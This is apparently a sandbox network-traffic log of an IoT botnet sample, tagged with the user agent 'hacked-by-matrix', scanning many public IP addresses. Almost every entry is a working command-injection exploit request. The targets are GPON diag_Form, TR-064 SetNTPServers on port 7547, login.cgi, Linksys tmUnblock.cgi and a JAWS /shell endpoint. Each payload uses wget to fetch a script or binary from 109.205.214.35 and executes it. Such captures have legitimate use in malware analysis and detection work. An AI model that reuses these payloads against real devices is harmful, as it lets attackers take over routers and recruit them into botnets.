Mar 21, 2024 05:18:37.532258034 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:45.818046093 CET	662	IN	HTTP/1.1 411 Length Required Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 222 Expires: Thu, 21 Mar 2024 04:18:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 21 Mar 2024 04:18:37 GMT Connection: close Server-Timing: cdn-cache; desc=HIT Server-Timing: edge; dur=1 Server-Timing: ak_p; desc="1710994717476_389294929_184221447_9_154222_347_0_-";dur=1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 35 31 32 62 33 34 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 31 37 26 23 34 36 3b 61 66 61 66 66 30 37 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.512b3417.1710994717.afaff07</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.23	33312	38.15.54.103	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.259929895 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.23	48550	38.141.255.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.270104885 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.23	41832	84.75.226.106	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.527661085 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.23	48712	58.146.86.179	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.613172054 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:37.900343895 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.23	41838	84.75.226.106	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.764466047 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.23	48718	58.146.86.179	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:37.900078058 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:38.186328888 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.23	19039	82.146.180.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.654247999 CET	31	IN	Data Raw: 52 65 73 65 74 20 66 72 6f 6d 20 6c 6f 63 61 6c 3a 28 31 33 38 38 29 20 73 65 71 20 3d 20 30 Data Ascii: Reset from local:(1388) seq = 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.23	43310	125.147.225.179	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.915272951 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:39.285099983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.23	40618	190.99.221.42	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.081161976 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.23	40620	190.99.221.42	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.243567944 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.23	37780	94.218.83.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293153048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.23	53332	42.181.88.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293180943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.23	51934	212.104.92.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293180943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.23	43978	178.17.179.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293241978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.23	46774	37.234.144.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293272972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.23	36046	210.225.150.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293284893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.23	47628	37.214.63.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293343067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.23	43386	118.136.93.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.293345928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.23	34450	212.211.139.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.653671980 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:40.723412991 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:42.003041029 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:44.594974041 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:49.714016914 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.23	38694	66.51.126.143	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:40.307118893 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:40.822981119 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.23	49334	184.25.219.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:40.863132954 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
